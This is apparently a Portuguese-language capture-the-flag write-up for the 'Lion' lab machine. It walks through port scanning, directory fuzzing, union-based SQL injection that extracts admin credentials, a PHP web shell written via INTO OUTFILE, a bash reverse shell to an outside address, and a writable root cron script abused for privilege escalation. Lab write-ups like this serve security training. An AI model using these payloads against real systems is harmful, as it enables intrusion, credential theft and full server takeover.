- Published on
Lion Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Easy
Nome: Lion
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 54:10:95:51:0a:58:e3:99:94:df:38:18:97:6a:4d:2b (RSA)
| 256 59:92:28:b0:58:99:ad:d8:e0:b3:2a:c5:0e:68:8a:b9 (ECDSA)
|_ 256 57:64:77:04:34:fa:d5:00:ba:8d:e7:19:44:2f:7b:d6 (ED25519)
80/tcp open http Apache httpd 2.4.46 (() PHP/7.4.15)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: News Portal | Home Page
|_http-server-header: Apache/2.4.46 () PHP/7.4.15
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MariaDB (unauthorized)
Portas 22 (SSH), 80 (HTTP), 111 (RPC) e 3306 (MySql) Abertas.
Enumeration
http://172.16.9.144
Fuzzing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.16.9.144/FUZZ -e .php -ic
Endpoint /admin
encontrado via fuzzing; no entanto, não está vulnerável à SQL Injection.
Testei algumas coisas como passar uma aspas simples e credenciais padrões como admin:admin
mas não obtive sucesso.
Testando SQL Injection no campo de pesquisa.
' or 1=1 -- -
retornou todos os posts.
Enumerando o número de tabelas existentes com union select
' union select 1,2,3,4,5,6 -- -
Quando testado com 7 colunas, ele funciona e reflete número 2, ou seja, é nessa coluna que devemos injetar.
' union select 1,2,3,4,5,6,7 -- -
' union select 1,@@version,3,4,5,6,7 -- -
Pegando o nome do banco de dados:
' union select 1,database(),3,4,5,6,7 -- -
' union select 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema='news' -- -
' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'tbladmin' -- -
Pegando a senha do admin:
' union select 1,concat(AdminUserName,":",AdminPassword),3,4,5,6,7 from tbladmin -- -
O hash em questão é um Bcrypt, pois começa com $2
, um dos hashes mais difíceis de quebrar, o que torna inviável um ataque de força bruta.
Foot Hold
Utilizando o SQL Injection pra ganhar uma web shell.
' union select 1,"<?php system($_GET['cmd']) ?>",3,4,5,6,7 into outfile "/var/www/html/includes/cmd.php" -- -
http://172.16.9.144/includes/cmd.php?cmd=id
http://172.16.9.144/includes/cmd.php?cmd=bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1
OBS: Lembre-se de encodar a payload.
nc -lnvp 1337
Privillege Escalation
Cron de um script de backup sendo executado pelo root.
Olhando as permissões do script, eu tenho permissão de escrita,leitura e execução.
Simplesmente alterei o script para adicionar as permissões especiais no /bin/bash
, transformando ele em um SUID
.
nano lion.backup.sh